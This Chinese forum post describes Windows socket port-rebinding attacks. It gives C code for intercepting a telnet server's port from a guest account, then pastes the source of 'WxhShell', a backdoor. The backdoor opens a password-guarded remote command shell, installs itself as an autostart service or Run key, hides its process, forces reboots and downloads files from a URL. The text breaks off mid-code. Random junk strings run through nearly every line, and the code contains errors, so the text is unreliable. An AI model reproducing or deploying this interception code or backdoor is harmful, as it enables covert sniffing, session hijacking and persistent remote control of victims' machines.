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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: gGYKEq{j(  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [E_9V%^  
6]N.%Y[(  
  saddr.sin_family = AF_INET; kZ~~/?B  
@Qe0! (_=  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Z+SRXKQ  
\U0Q<ot/7  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); S:}7q2:  
ceA9) {  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 _1^'(5f$  
\V:^h [ad  
  这意味着什么?意味着可以进行如下的攻击: H,J8M{  
l;U?Z'n  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 tPvpJX6kP  
"@kaHIf[  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) f$( e\+ +  
6!o1XQr=Z  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 hTkyz la  
jPeYmv]  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  <@}9Bid!o  
M|-)GvR$J  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Bvj0^fSm  
KoYF]  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 pAEx#ck  
~[: 2I  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 *Ex|9FCt$  
*j=% #  
  #include GbyJ:  
  #include Ac6=(B  
  #include %y@AA>x!  
  #include    ysN3  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ,Q B<7a+I  
  int main() $>gFf}#C  
  { zDp2g)  
  WORD wVersionRequested; Z)!C'cb  
  DWORD ret; J4utIGF  
  WSADATA wsaData; 6zkaOA46V  
  BOOL val; B!yr!DWv  
  SOCKADDR_IN saddr; dx]>(e@(t{  
  SOCKADDR_IN scaddr; /?!u{(h}  
  int err; <i[HbgUlO.  
  SOCKET s; q4q6c")zp  
  SOCKET sc; ex|F|0k4}  
  int caddsize; ijcm2FJcG  
  HANDLE mt; n%-0V>  
  DWORD tid;   ax2B ]L2  
  wVersionRequested = MAKEWORD( 2, 2 ); =43auFY-P  
  err = WSAStartup( wVersionRequested, &wsaData ); zT/\Cj68  
  if ( err != 0 ) { Bq>m{  
  printf("error!WSAStartup failed!\n"); e )ZUO_Q$  
  return -1; AGno6g  
  } D$N /FJ8|G  
  saddr.sin_family = AF_INET; Y7nvHU|+o  
   Mtv?:q  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 BY*Q_Et  
|%wX*zaf  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); v<;Md-<  
  saddr.sin_port = htons(23); ZuIefMiG~+  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~ 1pr~  
  { S'14hk<  
  printf("error!socket failed!\n"); Qd6FH2Pl  
  return -1; WHI`/FM  
  } =xrv~  
  val = TRUE; /=h` L ,  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 zQA`/&=Y  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) H"KCK6  
  { OB7hlW  
  printf("error!setsockopt failed!\n"); F?cK- .  
  return -1; }Lv;!  
  } :4s1CC+@\  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; t Pf40`@  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 k8Xm n6X  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 9kojLqCT  
_|]x2xb)  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 8f7>?BUS,  
  { | 3%8&@ho  
  ret=GetLastError(); 2%> FR4a  
  printf("error!bind failed!\n"); oE~RyS X  
  return -1; OTp]Xe/  
  } 6#yUc_5 \  
  listen(s,2); j4b4!^fV  
  while(1) AEuG v}#  
  { )i<j XZ:O  
  caddsize = sizeof(scaddr); eq"]%s  
  //接受连接请求 S$k&vc(0  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); [2koe.?(  
  if(sc!=INVALID_SOCKET) b2]Kx&!  
  { PX99uWx5]  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); qNr} \J|  
  if(mt==NULL) {U1m.30n  
  { *J{+1Ev~$p  
  printf("Thread Creat Failed!\n"); P_dJZ((X  
  break; CJ%I51F`X  
  } qVPeB,kIz  
  } !wp3!bLp  
  CloseHandle(mt); <1 pEwI~  
  } + )?J#g  
  closesocket(s); fQ98(+6  
  WSACleanup(); B;WCTMy}  
  return 0; q9NoI(]e  
  }   d1kJRJ   
  DWORD WINAPI ClientThread(LPVOID lpParam) iCyf Oh  
  { _rYkis^ u  
  SOCKET ss = (SOCKET)lpParam; Wvqhl 'J  
  SOCKET sc; y?0nI<}}HK  
  unsigned char buf[4096]; %UM *79  
  SOCKADDR_IN saddr; v3qA":(w+(  
  long num; (ik\|y% A  
  DWORD val; >j`qh:^  
  DWORD ret; s <Fl p  
  //如果是隐藏端口应用的话,可以在此处加一些判断 \Roz$t-R|f  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   x`?3C"N:<  
  saddr.sin_family = AF_INET; 4fzZ;2sl}  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); akT6^cP^  
  saddr.sin_port = htons(23); "] iB6  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) fT{Yg /j  
  { s{" 2L{,$  
  printf("error!socket failed!\n"); VD:/PL  
  return -1; qCO/?kW  
  } 0;ji65  
  val = 100; `XB 9Mi=  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) g1o8._f.  
  { $A` VYJtt#  
  ret = GetLastError(); fX+O[j  
  return -1; 0^ibNiSP  
  } 6&-(&( _  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) '{`$#@a.  
  { *4Izy14e  
  ret = GetLastError(); yZ`wfj$Jj  
  return -1; Y<rU#Z#T  
  } Uwi7)  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) T#)P`q  
  { A9JdU&  
  printf("error!socket connect failed!\n"); ]tDDq=+v  
  closesocket(sc); p^_yU_  
  closesocket(ss);  kwA$Z!Rn  
  return -1; JG,%qFlk  
  } MWL% Bz  
  while(1) "Pf~iwfw  
  { X$pJ :M{F$  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 * H9 8Du  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ,: ->ErP  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 (~en (  
  num = recv(ss,buf,4096,0); ^VACf|0  
  if(num>0) P2*<GjV`S/  
  send(sc,buf,num,0); "T"h)L<  
  else if(num==0) ##o#eZq:"  
  break; #=v~8  
  num = recv(sc,buf,4096,0); 7!$^r$t   
  if(num>0) t_suF$  
  send(ss,buf,num,0); e!r-+.i(  
  else if(num==0) AvHCO8h|  
  break; @gtQQxf"  
  } ^BL"wk  
  closesocket(ss); 2>H24F  
  closesocket(sc); 5BJmA2L  
  return 0 ; Wr5V`sM  
  }  {>%&(  
z"4~P3>{g  
3Le{\}-$.  
========================================================== xp9pl[l  
XS BA$y  
下边附上一个代码,,WXhSHELL nJLFfXWx  
gGS=cdlV  
========================================================== hiw|2Y&`  
_]*>*XfF(  
#include "stdafx.h" vA.MRu#  
Zr,VR-kW+  
#include <stdio.h> vI)LB)Q  
#include <string.h> 27< Enq]  
#include <windows.h> ,'iE;o{Tu  
#include <winsock2.h>  gRT00  
#include <winsvc.h> (2 a`XwR  
#include <urlmon.h> .-X8J t  
.y,0[i V N  
#pragma comment (lib, "Ws2_32.lib") ~| 6[j<ziL  
#pragma comment (lib, "urlmon.lib") K}U-w:{  
>6pf$0  
#define MAX_USER   100 // 最大客户端连接数 Zoc0!84<z  
#define BUF_SOCK   200 // sock buffer EUgs6[w 4  
#define KEY_BUFF   255 // 输入 buffer 6B ?twh)  
ivz5H(b  
#define REBOOT     0   // 重启 -[DOe?T  
#define SHUTDOWN   1   // 关机 "v4B5:bmqW  
@jlw_ob2g  
#define DEF_PORT   5000 // 监听端口 .eP.&  
bD8Gwi=iiu  
#define REG_LEN     16   // 注册表键长度 4X(H ;  
#define SVC_LEN     80   // NT服务名长度 g SAt@2*U2  
[=]4-q6UN  
// 从dll定义API Bn g@-#`/  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); y Ej^=pw  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5-xX8-ElYz  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); E1U",CMU  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Ezv Y"T@  
/_#q@r4ZQ  
// wxhshell配置信息 6qd\)q6T&x  
struct WSCFG { QZ%`/\(!8_  
  int ws_port;         // 监听端口 V}NbuvDB@  
  char ws_passstr[REG_LEN]; // 口令 Mzw X>3x  
  int ws_autoins;       // 安装标记, 1=yes 0=no H? y,ie#u  
  char ws_regname[REG_LEN]; // 注册表键名 *``JamnSO  
  char ws_svcname[REG_LEN]; // 服务名 Q({ r@*g  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Km6YP!i  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 .Twk {p  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 R#8L\1l  
int ws_downexe;       // 下载执行标记, 1=yes 0=no oD1/{dRzj  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1\rz%E  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (41|'eB\\  
)M//l1  
}; Q7COQ2~K   
A:9?ZI/X  
// default Wxhshell configuration 3nnJ8zQ  
struct WSCFG wscfg={DEF_PORT, #3 pb(fbw  
    "xuhuanlingzhe", }sO&. ME  
    1, \K]0JH  
    "Wxhshell", FzXJ]H  
    "Wxhshell", )sp4Ie  
            "WxhShell Service", h_IDO%  
    "Wrsky Windows CmdShell Service", ""Q P%  
    "Please Input Your Password: ", n`&U~s8w  
  1, x6ARzH\  
  "http://www.wrsky.com/wxhshell.exe", 2q4<t:!  
  "Wxhshell.exe" PO 7Lf#9]  
    }; B=A [ymm  
JyOo1E.  
// 消息定义模块 oW Nh@C  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9lH?-~9  
char *msg_ws_prompt="\n\r? for help\n\r#>"; a1y-3 z  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; } c }_<#I  
char *msg_ws_ext="\n\rExit."; w+E,INd i  
char *msg_ws_end="\n\rQuit."; *6F[t.Or  
char *msg_ws_boot="\n\rReboot..."; Yv!a88+A8M  
char *msg_ws_poff="\n\rShutdown..."; E6gI,f/p0X  
char *msg_ws_down="\n\rSave to "; -FQ 'agf@&  
)Z?Ym.0/  
char *msg_ws_err="\n\rErr!"; #@~+HC=  
char *msg_ws_ok="\n\rOK!"; :#?5X|Gz  
qF-@V25P  
char ExeFile[MAX_PATH]; VsE9H]v   
int nUser = 0; {_Rr 6  
HANDLE handles[MAX_USER]; s^uS1  
int OsIsNt; M |`U"vO  
`LE6jp3,  
SERVICE_STATUS       serviceStatus; //<nr\oP  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 28J^DMOW  
hP)LY=- 2  
// 函数声明 G&V/Gj8  
int Install(void); |3[Wa^U5  
int Uninstall(void); ouFYvtFg  
int DownloadFile(char *sURL, SOCKET wsh); :'l^kSP_*C  
int Boot(int flag); * 8_wYYH  
void HideProc(void); bNNr]h8y-  
int GetOsVer(void); fs%.}^kn  
int Wxhshell(SOCKET wsl); doy`C)xI  
void TalkWithClient(void *cs); g($DdKc|g  
int CmdShell(SOCKET sock); }$Tl ?BRpU  
int StartFromService(void); W_8wed:b  
int StartWxhshell(LPSTR lpCmdLine); :G2k5xD/E  
'd$P`Vw:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); PFne+T!2F  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); sCk?  
#& Rw&  
// 数据结构和表定义 gPsi  
SERVICE_TABLE_ENTRY DispatchTable[] = a (b#  
{ lqZ5?BD1  
{wscfg.ws_svcname, NTServiceMain}, m?fy^>1  
{NULL, NULL} Zk"eA'"\  
}; [^e%@TV>d  
ft KTnK.  
// 自我安装 kB|B  
int Install(void) $m1z-i;/  
{ j4`0hnqI  
  char svExeFile[MAX_PATH]; QYjsDL><  
  HKEY key; \GZM&Zd  
  strcpy(svExeFile,ExeFile); [8,yF D_U  
0rDh}<upjk  
// 如果是win9x系统,修改注册表设为自启动 i/ )am9  
if(!OsIsNt) { Te wb?:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]d0tE?9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Sf7\;^  
  RegCloseKey(key); *b/` Ya4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E5xzy/ZQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1Z~)RJ<D  
  RegCloseKey(key); )~] (&  
  return 0; a8iQ4   
    } /1Q(b  
  } 2Mmz%S'd  
} YSh+pr  
else { 5$&%re!{Z  
orfO^;qTY  
// 如果是NT以上系统,安装为系统服务 /! $c/QZ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); fM63+9I)\  
if (schSCManager!=0) ZUR6n>r  
{ 4?7W+/~<&  
  SC_HANDLE schService = CreateService ytoo~n  
  ( \LppYXz  
  schSCManager, O_ DtvjI'  
  wscfg.ws_svcname, X{'q24\F  
  wscfg.ws_svcdisp, (Cd\G=PK  
  SERVICE_ALL_ACCESS, J/GSceHF  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $[&*Bj11Yg  
  SERVICE_AUTO_START, 9qz6]-K  
  SERVICE_ERROR_NORMAL, a]/>ra5{  
  svExeFile, m~u5kbHOi=  
  NULL, %$ Z7x\_  
  NULL, TXk?#G\o  
  NULL, I`LuRl w  
  NULL, x`mN U  
  NULL 7cO n9fIE  
  ); dhr3,&+T2  
  if (schService!=0) CS-uNG6  
  { ac.Ms(D  
  CloseServiceHandle(schService); pxf$ 1  
  CloseServiceHandle(schSCManager); k |%B?\m  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !l 1fIc  
  strcat(svExeFile,wscfg.ws_svcname); F\k+[`%{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { hn=[1<#^(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5v}8org  
  RegCloseKey(key); ?5 cI'  
  return 0; SNE#0L' }  
    } Z1Z1@2 T  
  } ;b(p=\i  
  CloseServiceHandle(schSCManager); c|62jY"$-2  
} "7V2lu  
} :8+Nid)  
1/-43B  
return 1; rT5Ycm@  
} 9Z'8!$LYg  
a@*S+3  
// 自我卸载 4^Q :  
int Uninstall(void)  {=QiZWu  
{ !PJ6%"  
  HKEY key; 78OIUNm`  
QC;^xG+W  
if(!OsIsNt) { <l9-;2L4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !\L/[:n  
  RegDeleteValue(key,wscfg.ws_regname); +g]yA3  
  RegCloseKey(key); ugx%_x6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3*)ig@e6  
  RegDeleteValue(key,wscfg.ws_regname); 5~WGZc  
  RegCloseKey(key); Zrr5csE  
  return 0; SD$h@p=!=  
  } i21Gw41p:  
} i?e`:}T  
} $Gv9m  
else { FMkzrs  
c#]q^L\x  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5 Ho^N1q  
if (schSCManager!=0) ?Ovqp-sw  
{ $g+[yb7@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Y> Wu  
  if (schService!=0) /2Bi@syxK  
  { {aJJ `t  
  if(DeleteService(schService)!=0) { )}'U`'q  
  CloseServiceHandle(schService); | j a-  
  CloseServiceHandle(schSCManager); *@)O7vB  
  return 0; R@#G>4  
  } z,bQQ;z9  
  CloseServiceHandle(schService); w MP  
  } ' dx1x6  
  CloseServiceHandle(schSCManager); 'X !?vK^]p  
} &0(  
} r~nsN*t  
R% ,<\d7  
return 1; S^<g_ q  
} L%c0Z@[~  
b2=0}~LK  
// 从指定url下载文件 *"r~-&IL  
int DownloadFile(char *sURL, SOCKET wsh) o9S+6@  
{ Kmv+1T0,  
  HRESULT hr; S&Ee,((E(  
char seps[]= "/"; d)R352  
char *token; /?1nHBYPM  
char *file; lmSo8/%T  
char myURL[MAX_PATH]; ,SiY;(b=\  
char myFILE[MAX_PATH]; ~~,rp) )  
yxq}QSb \3  
strcpy(myURL,sURL); `VL}.h  
  token=strtok(myURL,seps); #I3$3^0i#  
  while(token!=NULL) S#Sb]  
  { [wB9s{CX  
    file=token; .eO?Z^  
  token=strtok(NULL,seps); l-$uHHyu*  
  } fiN3xP]V  
eD Z8w  
GetCurrentDirectory(MAX_PATH,myFILE); 0W()lQ   
strcat(myFILE, "\\"); `\6?WXk3T  
strcat(myFILE, file); rJInj>|{=  
  send(wsh,myFILE,strlen(myFILE),0); eBO@7F$  
send(wsh,"...",3,0); *d',Vuv&[  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); d'Axum@  
  if(hr==S_OK) u}|%@=xn  
return 0; >xn}N6Rj2~  
else ulJX1I=|p  
return 1; n%\ /J  
BMIyskl=i  
} lM[XS4/TRa  
[ dE.[  
// 系统电源模块 zn @N'R/  
int Boot(int flag) a`u S[r>  
{ 'iY*6<xS<  
  HANDLE hToken; 34R!x6W0  
  TOKEN_PRIVILEGES tkp; zPKr/  
e~T@~(fft  
  if(OsIsNt) { ;u(Du-Os!  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); OLj\-w^  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); nPgeLG"00  
    tkp.PrivilegeCount = 1; W Qc>  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,xT?mt}P  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6k/U3&R  
if(flag==REBOOT) { ACK1@eF  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }V|{lvt.  
  return 0; sW^a`VM  
} =_8Tp~j  
else { `j9$T:`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) m3g2b _;  
  return 0; `ZaT}# Y  
} M#@aB"@J>  
  } 35*\_9/#  
  else { LN_OD5gZ  
if(flag==REBOOT) { tB' V  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) U`x bPQ  
  return 0; *X38{r j  
} j` /&r*zNq  
else { Bz`yfl2  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )P>u9=?,=E  
  return 0; D8# on!  
} V=:_d,  
} pNE(n4v  
jUqy8q&  
return 1; ? QDWuPhN  
} M'1!<a-Mp  
#DkD!dW(l  
// win9x进程隐藏模块 &wetzC )  
void HideProc(void) t%r :4,  
{ Q^Bt1C  
D["MUB4l  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :Ld!mRZF  
  if ( hKernel != NULL ) VZIR4J[\.  
  { www`=)A;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )Os Lrq/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); s/1 #DM"  
    FreeLibrary(hKernel); KIVH!2q;  
  } EC?Efc+O  
gK3Mms]}m  
return; K$REZe  
} /LQ:Sv7  
$YG1z  
// 获取操作系统版本 zG c[Z3N  
int GetOsVer(void) ?&l)W~S  
{ 7nHTlI1 b  
  OSVERSIONINFO winfo; g9my=gY  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 4rU! 4l  
  GetVersionEx(&winfo); G7* h{nE  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) I 2HT2c$  
  return 1; qU[O1bN  
  else '?Iif#Z1  
  return 0; qSO*$1i  
} 5QWNZJ&}d  
,dd WBwMK  
// 客户端句柄模块 aN^IP  
int Wxhshell(SOCKET wsl) hGP1(pH.  
{ 3LlU]  
  SOCKET wsh; / axTh  
  struct sockaddr_in client; =`I?mn&  
  DWORD myID; 3,.% s  
-0,4eg j3  
  while(nUser<MAX_USER) +EASAq  
{ 8kW/DcLE  
  int nSize=sizeof(client); ".2A9]_s  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4^!4eyQ^  
  if(wsh==INVALID_SOCKET) return 1; w&lZ42(mF  
5su.+4z\  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \-. Tg!Q6  
if(handles[nUser]==0) U 0ZB^`  
  closesocket(wsh); }BN\/;<A  
else F$hZRZ  
  nUser++; Ud3""C5B  
  } hr U :Wr  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ZxS&4>.  
mPmB6q%)]  
  return 0; \].J-^=  
} WSI Xj5R  
TvrwVL)  
// 关闭 socket vg5NY =O  
void CloseIt(SOCKET wsh) L=7rDW)aa  
{ 9)yG.9d1  
closesocket(wsh); Ob(leL>ow  
nUser--; bx(w :]2  
ExitThread(0); M@^U 0 ?  
} V8'`nuC+  
U4wpjHg  
// 客户端请求句柄 i;lE5  
void TalkWithClient(void *cs) _9h.Gt  
{ $au2%NL  
\X@IkL$r  
  SOCKET wsh=(SOCKET)cs; hmGdjw t$  
  char pwd[SVC_LEN]; y-cw~kNPP3  
  char cmd[KEY_BUFF]; [(c L/_  
char chr[1]; ,z66bnjO  
int i,j; (G5xkygR9  
OKQLv+q5K)  
  while (nUser < MAX_USER) { KF{a$d  
La}o(7 =s  
if(wscfg.ws_passstr) { POBpJg  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gNa#|  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 31 ] 7z  
  //ZeroMemory(pwd,KEY_BUFF); qWB%),`j>  
      i=0; q 22/_nSC  
  while(i<SVC_LEN) { Jn,w)Els  
xzK>Xi?  
  // 设置超时 W#45a.v  
  fd_set FdRead;  6`"ZsO  
  struct timeval TimeOut; 4!2SS  
  FD_ZERO(&FdRead); f8!l7{2%q  
  FD_SET(wsh,&FdRead); sfC@*Y2XT  
  TimeOut.tv_sec=8; J<_1z':W)  
  TimeOut.tv_usec=0; q)Je.6$#X  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |+/$ g.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |!5@xs*T  
4qBY% 1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /.-m}0h|W-  
  pwd=chr[0]; aL$j/SC  
  if(chr[0]==0xd || chr[0]==0xa) { B*Cb6'Q  
  pwd=0; M+UMR+K  
  break; O<a3DyUa;  
  } *eoq=,O  
  i++; g*r/u;  
    } !47A$sQ  
B'/Icg.T  
  // 如果是非法用户,关闭 socket X)NWX9^;'  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); htg'tA^CtS  
} 83xd@-czgh  
ct.Bg)E  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); YUS?]~XC7x  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 165WO}(;/  
2HVCXegq  
while(1) { dAwS<5!  
[+7"{UvT  
  ZeroMemory(cmd,KEY_BUFF); d5q4'6o,  
> ";%2 u1  
      // 自动支持客户端 telnet标准   Ebbe=4  
  j=0; ]kH}lr yG  
  while(j<KEY_BUFF) { ;<VR2U`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); intvlki]be  
  cmd[j]=chr[0]; |N6mTB2  
  if(chr[0]==0xa || chr[0]==0xd) { Qq>ElQ@  
  cmd[j]=0; aKD;1|)  
  break; ^s.oZj q  
  } Lo5Jb6nm  
  j++; SZI7M"gf/+  
    } I &cX8Tw  
<M`-`v6H  
  // 下载文件 3v G  
  if(strstr(cmd,"http://")) { ;_w MWl0F  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); o8mo=V4j  
  if(DownloadFile(cmd,wsh)) =QTmK/(|B  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); v6KL93  
  else C,R,:zR  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \c FAxL(  
  } i~ROQMN1  
  else { $TFTIk*uU  
3lyQn "  
    switch(cmd[0]) { 0ZFB4GL  
  O<Jwaap  
  // 帮助 B_b8r7Vn`  
  case '?': { d[yrNB6|  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); r \9:<i8  
    break; i~(#S8U4d  
  } 69?I?,7  
  // 安装 Bac?'ypm  
  case 'i': { _RgxKp/d  
    if(Install()) `$f\ %  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %d ZM9I0  
    else kaV%0Of]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 57'q;I  
    break; V5cb}xx  
    } A"`L~|&  
  // 卸载 M3)v-"  
  case 'r': { kA1f[ AL  
    if(Uninstall()) ,7QBJ_-;QJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3s#|Y,{?6R  
    else !Q[;5Lqt  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W&WB@)ie  
    break; KPD@b=F  
    } gjO *h3`  
  // 显示 wxhshell 所在路径 aYqqq|  
  case 'p': { NEZH<#  
    char svExeFile[MAX_PATH]; 5 1v r^  
    strcpy(svExeFile,"\n\r"); DIL)7K4  
      strcat(svExeFile,ExeFile); D[+|^,^>  
        send(wsh,svExeFile,strlen(svExeFile),0); =lYvj  
    break; UU*0dSWr  
    } tbL1g{Dz,  
  // 重启 ks)fQFSbu  
  case 'b': { aA7S'[NjB  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Yjpb+}  
    if(Boot(REBOOT)) ;|2U f   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N+ak[axN  
    else { y-D>xV)n  
    closesocket(wsh); Rv0-vH.n  
    ExitThread(0); ;:-}z.7Y  
    } ?S+/QyjcfJ  
    break; p{+tFQy  
    } i.B$?cr~  
  // 关机 :zRB)hd  
  case 'd': { c-? Ygr  
